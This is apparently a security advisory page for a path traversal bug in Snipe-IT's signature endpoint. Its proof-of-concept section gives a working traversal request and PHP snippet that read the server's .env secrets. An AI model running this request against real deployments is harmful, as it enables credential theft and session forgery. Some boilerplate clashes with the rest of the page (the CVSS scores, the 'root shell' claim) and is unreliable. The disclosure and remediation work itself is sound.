SecurinZero Days
    Email Us
    Zero-Day Research/CVE-2026-55474
    ▲ MediumCVSS 6.8✓ Patched

    Path Traversal in Snipe-IT /display-sig signature endpoint enables authenticated arbitrary file read (.env / APP_KEY / DB_PASSWORD)

    Snipe-IT v8.4.1 ActionlogController::displaySig (app/Http/Controllers/ActionlogController.php:31) constructs the file path as config('app.private_uploads').'/signatures/'.$filename without applying basename() to the URL-supplied $filename. An authenticated user with asset view permission can submit a filename containing directory-traversal sequences to read arbitrary files readable by the web process, including /var/www/html/.env which contains APP_KEY (decrypts encrypted DB fields and session cookies) and DB_PASSWORD. On Apache 2.4 single-encoded %2F is normalized (404); double-encoded %252F passes through and HTTP returns 200 OK. Nginx deployments without merge_slashes off are exploitable with standard %2F. Vendor confirmed the fix is already merged to master via PR #18927 on 2026-04-24.

    CVE IDCVE-2026-55474
    CVSS v3.16.8 Medium
    VendorGrokability, Inc.
    CWECWE-22
    DisclosedApr 24, 2026
    StatusFixed
    All advisories
    • 01Description
    • 02Proof of Concept
    • 03Vulnerable Code
    • 04Trigger Conditions
    • 05Impact
    • 06Remediation
    • 07Timeline
    • 08References
    01/Description

    What this actually is.

    Technical background, root cause, and affected surface.

    Snipe-IT v8.4.1 ActionlogController::displaySig (app/Http/Controllers/ActionlogController.php:31) constructs the file path as config('app.private_uploads').'/signatures/'.$filename without applying basename() to the URL-supplied $filename. An authenticated user with asset view permission can submit a filename containing directory-traversal sequences to read arbitrary files readable by the web process, including /var/www/html/.env which contains APP_KEY (decrypts encrypted DB fields and session cookies) and DB_PASSWORD. On Apache 2.4 single-encoded %2F is normalized (404); double-encoded %252F passes through and HTTP returns 200 OK. Nginx deployments without merge_slashes off are exploitable with standard %2F. Vendor confirmed the fix is already merged to master via PR #18927 on 2026-04-24.

    Vendor
    Grokability, Inc.
    Product
    Snipe-IT
    Severity
    Medium
    CVSS Score
    6.8
    Status
    Fixed
    Vector
    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    CWE
    CWE-22
    02/Proof of Concept

    From one request
    to root shell.

    Reproduced in a sandboxed environment. Requires only LAN or WiFi adjacency.

    6.8CVSS 3.1
    VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    ScopeChanged
    ImpactC:H / I:N / A:N
    SeverityMedium

    PHP-level confirmation (Artisan tinker, Docker lab against Snipe-IT v8.4.1): $filename = "../../../../../../var/www/html/.env"; $file = config("app.private_uploads")."/signatures/".$filename; $c = file_get_contents($file, false, stream_context_create(["http" => ["ignore_errors" => true]])); // Output: Read success: YES - 1713 bytes // Content (excerpt): APP_KEY=base64:vKNhos5B3r1UzPsdkzjE+atbthUSEb5W7UuUm+DYn7s= // DB_PASSWORD=LabPassword123!

    PoC · Exploitation Steps▲ trigger
    01HTTP exploit (Apache double-encoded %252F bypass): GET /display-sig/..%252F..%252F..%252F..%252F..%252F..%252Fvar%252Fwww%252Fhtml%252F.env HTTP/1.1 Host: localhost:8000 Cookie: snipeit_session=<authenticated_session> --> HTTP/1.1 200 OK

    Apache single-encoded %2F returns 404 (path normalization). Nginx default deployments accept %2F directly.

    03/Vulnerable Code

    The bug, and the fix.

    // app/Http/Controllers/ActionlogController.php:29-41 default: $this->authorize('view', Asset::class); $file = config('app.private_uploads').'/signatures/'.$filename; // ^^^^^^^^^ // $filename from URL — NO basename() applied

    $contents = file_get_contents($file, false, stream_context_create([ 'http' => ['ignore_errors' => true] ])); return response()->make($contents)->header('Content-Type', $filetype);

    Root cause: Missing input sanitization. The URL-supplied filename is interpolated directly into the filesystem path without basename(). The storage/private_uploads → /var/lib/snipeit/data/private_uploads symlink combined with deeply-nested ../ sequences makes traversal back to the web root trivial. Apache path normalization provides defense-in-depth against single-encoded %2F only; both double encoding and Nginx defaults bypass it.

    04/Trigger Conditions

    When does this fire?

    All conditions must be true for the exploit to succeed.

    1) Attacker holds a valid Snipe-IT session with asset.view permission. 2) Web server passes a path containing decoded slashes to PHP — Apache requires double-encoded %252F (default config); Nginx with default merge_slashes on accepts %2F directly. 3) Target file (e.g. /var/www/html/.env) is readable by the web-process owner.

    05/Impact

    What an attacker does to you.

    Post-exploitation outcomes mapped to CVSS impact metrics.

    Medium

    Disclosure of any file readable by the web user. Highest-impact reads observed in the lab: .env (APP_KEY enables Laravel session-cookie forgery and decryption of encrypted DB fields including 2FA secrets; DB_PASSWORD enables direct MariaDB access), oauth-private.key (forges API tokens for any user), storage/logs/laravel.log (internal stack traces and query data). CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N = 7.7 High.

    CIA Impact

    C:H · I:N · A:N

    CWE-22

    06/Remediation

    Fix it. In this order.

    A runbook, not a checklist. Sequence matters — assume compromise before you act.

    01

    Add basename() to the URL-derived filename before constructing the file path:

    N/A
    02

    $filename = basename($filename);

    N/A
    03

    $file = config('app.private_uploads').'/signatures/'.$filename;

    N/A
    04

    Apply the same fix to getStoredEula() at ActionlogController.php:57. Vendor PR grokability/snipe-it#18927 applies this fix on master (merged 2026-04-24).

    N/A
    Securin advisory — For coordinated remediation support or threat-actor briefings related to CVE-2026-55474, contact disclose@securin.io
    07/Disclosure Timeline

    Vendors moved in days.
    Attackers in hours.

    Reconstructed from vendor advisories, CISA bulletins, and Securin research records.

    2026-04-24

    Vulnerability discovered during static + dynamic audit of Snipe-IT v8.4.1 in Docker lab (docker-compose.lab.yml; Apache 2.4.58, PHP 8.x, MariaDB 11.4.7). PHP-level read of /var/www/html/.env (1713 bytes, APP_KEY + DB_PASSWORD) confirmed via Artisan tinker. HTTP exploit confirmed via double-encoded %252F returning HTTP 200.

    2026-04-24

    Reported to security@snipeitapp.com by disclose@securin.io.

    2026-04-24

    Vendor auto-escalation reply received.

    2026-04-24

    Alison Gianotto (Grokability) confirmed fix already merged to master via PR #18927.

    2026-06-29

    CVE-2026-55474 assigned.

    Disclosed 0 days after discovery

    08/References

    Cite, verify, go deeper.

    Primary sources — NVD, CISA KEV, and machine-readable IoC feed.

    NVD

    NVD — CVE-2026-55474

    nvd.nist.gov/vuln/detail/CVE-2026-55474 →
    SEC

    Securin VI — Full Technical Analysis

    vi.securin.io →
    GITHUB

    https://github.com/grokability/snipe-it/pull/18927

    https://github.com/grokability/snipe-it/pull/18927 →
    NIST

    https://nvd.nist.gov/vuln/detail/CVE-2026-55474

    https://nvd.nist.gov/vuln/detail/CVE-2026-55474 →
    SNIPEI

    https://snipeitapp.com

    https://snipeitapp.com →

    Let Securin level up your security posture.

    Get a live exposure assessment, threat-actor briefing tailored to your sector, and IoC mapping for your SIEM.

    Browse all advisories
    SecurinSecurinZero Days

    Securin's zero-day research operation combines frontier AI models with a decade of offensive expertise — discovering, validating, and coordinating the disclosure of high-impact vulnerabilities at a scale and speed no human team achieves alone.

    Glossary
    © 2026 Securin Inc · CVE Numbering Authority
    Privacy Policy·Data Processing Addendum